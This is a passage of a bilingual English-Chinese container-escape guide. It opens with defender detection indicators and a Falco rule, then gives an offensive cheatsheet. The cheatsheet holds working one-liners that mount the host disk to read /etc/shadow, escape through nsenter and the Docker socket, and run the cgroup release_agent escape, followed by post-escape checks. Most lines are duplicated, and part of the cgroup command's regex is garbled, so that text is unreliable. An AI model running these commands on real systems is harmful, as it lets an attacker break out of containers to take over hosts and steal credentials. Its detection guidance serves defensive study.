检测 / 防御方视角

Defenders monitoring for container escape should watch for:
  • Process monitoring: Unexpected processes with host PID namespace visibility. Processes spawned by container runtimes outside normal patterns (runc, containerd-shim creating shells).
  • Filesystem events: Mount operations inside containers (
    mount
    syscalls from container PIDs). New files appearing in host
    /root/.ssh/authorized_keys
    ,
    /etc/crontab
    ,
    /etc/passwd
    .
  • Cgroup manipulation: Creation of new cgroups with
    notify_on_release
    set to 1. Writes to
    release_agent
    files.
  • Docker socket access: API calls to Docker socket from within containers. Container creation requests that include
    --privileged
    or host mount binds.
  • Capability anomalies: Containers running with
    CAP_SYS_ADMIN
    ,
    CAP_SYS_PTRACE
    , or other dangerous capabilities that are not required by the application.
  • Audit rules: Monitor for
    nsenter
    usage,
    unshare
    calls, and access to
    /proc/*/ns/*
    from container contexts.
  • Falco rules: Deploy runtime security with rules for unexpected shell spawns, sensitive file access, and privilege escalation inside containers.
bash
undefined
防御方在监控容器逃逸时,应关注:
  • 进程监控:出现对宿主 PID namespace 具有可见性的异常进程。容器 runtime 生成的进程偏离正常模式(例如 runc、containerd-shim 创建 shell)。
  • 文件系统事件:容器内发生 mount 操作(来自容器 PID 的
    mount
    syscall)。宿主
    /root/.ssh/authorized_keys
    、
    /etc/crontab
    、
    /etc/passwd
    中出现新文件。
  • Cgroup 操纵:创建将
    notify_on_release
    设置为 1 的新 cgroup。出现对
    release_agent
    文件的写入。
  • Docker socket 访问:容器内部向 Docker socket 发起 API 调用。容器创建请求中包含
    --privileged
    或宿主 mount 绑定。
  • Capability 异常:容器以
    CAP_SYS_ADMIN
    、
    CAP_SYS_PTRACE
    或应用不需要的其他危险 capabilities 运行。
  • 审计规则:监控
    nsenter
    使用、
    unshare
    调用,以及来自容器上下文的
    /proc/*/ns/*
    访问。
  • Falco 规则:部署 runtime security,并制定规则检测异常 shell 生成、敏感文件访问和容器内权限提升。
bash
undefined

Falco rule example for detecting container escape attempts

Falco rule example for detecting container escape attempts

- rule: Detect Container Escape via cgroup notify_on_release

- rule: Detect Container Escape via cgroup notify_on_release

desc: Detects write to notify_on_release in cgroup directory

desc: Detects write to notify_on_release in cgroup directory

condition: >

condition: >

open_write and container and

open_write and container and

fd.name contains "notify_on_release"

fd.name contains "notify_on_release"

output: >

output: >

Container escape attempt via cgroup release_agent

Container escape attempt via cgroup release_agent

(user=%user.name container=%container.name file=%fd.name)

(user=%user.name container=%container.name file=%fd.name)

priority: CRITICAL

priority: CRITICAL


---

---

Engagement Cheatsheet

测试速查表

bash
undefined
bash
undefined

--- Detection ---

--- Detection ---

Am I in a container?

Am I in a container?

ls /.dockerenv 2>/dev/null && echo "Docker" || echo "Not Docker" cat /proc/1/cgroup | grep -qE 'docker|kubepods|containerd' && echo "Containerized"
ls /.dockerenv 2>/dev/null && echo "Docker" || echo "Not Docker" cat /proc/1/cgroup | grep -qE 'docker|kubepods|containerd' && echo "Containerized"

What capabilities do I have?

What capabilities do I have?

capsh --print 2>/dev/null || cat /proc/1/status | grep Cap
capsh --print 2>/dev/null || cat /proc/1/status | grep Cap

Is Docker socket available?

Is Docker socket available?

ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock 2>/dev/null
ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock 2>/dev/null

Am I privileged?

Am I privileged?

ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED (NET_ADMIN)" && ip link del dummy0 mount -t tmpfs none /tmp/test 2>/dev/null && echo "PRIVILEGED (SYS_ADMIN)" && umount /tmp/test
ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED (NET_ADMIN)" && ip link del dummy0 mount -t tmpfs none /tmp/test 2>/dev/null && echo "PRIVILEGED (SYS_ADMIN)" && umount /tmp/test

Cgroup version?

Cgroup version?

stat -fc %T /sys/fs/cgroup/
stat -fc %T /sys/fs/cgroup/

--- Exploitation (one-liners) ---

--- Exploitation (one-liners) ---

Privileged mount escape

Privileged mount escape

mkdir /mnt/host 2>/dev/null; mount /dev/sda1 /mnt/host; cat /mnt/host/etc/shadow
mkdir /mnt/host 2>/dev/null; mount /dev/sda1 /mnt/host; cat /mnt/host/etc/shadow

nsenter escape (with hostPID)

nsenter escape (with hostPID)

nsenter -t 1 -m -u -i -n -p -- bash
nsenter -t 1 -m -u -i -n -p -- bash

Docker socket escape

Docker socket escape

docker -H unix:///var/run/docker.sock run --rm -it --privileged -v /:/h alpine chroot /h
docker -H unix:///var/run/docker.sock run --rm -it --privileged -v /:/h alpine chroot /h

Cgroup escape (CAP_SYS_ADMIN)

Cgroup escape (CAP_SYS_ADMIN)

d=$(dirname $(ls -x /s*/fs/c*//r 2>/dev/null|head -n1)); mkdir -p $d/w;
echo 1 >$d/w/notify_on_release; t=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab);
echo $t/c >$d/release_agent; printf '#!/bin/sh\nid>/o' >/c; chmod +x /c;
sh -c "echo 0 >$d/w/cgroup.procs"; sleep 1; cat /o
d=$(dirname $(ls -x /s*/fs/c*//r 2>/dev/null|head -n1)); mkdir -p $d/w;
echo 1 >$d/w/notify_on_release; t=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab);
echo $t/c >$d/release_agent; printf '#!/bin/sh\nid>/o' >/c; chmod +x /c;
sh -c "echo 0 >$d/w/cgroup.procs"; sleep 1; cat /o

--- Post-Escape ---

--- Post-Escape ---

Validate host access

Validate host access

hostname; id; cat /etc/os-release; docker ps 2>/dev/null

---
hostname; id; cat /etc/os-release; docker ps 2>/dev/null

---

Key References

关键参考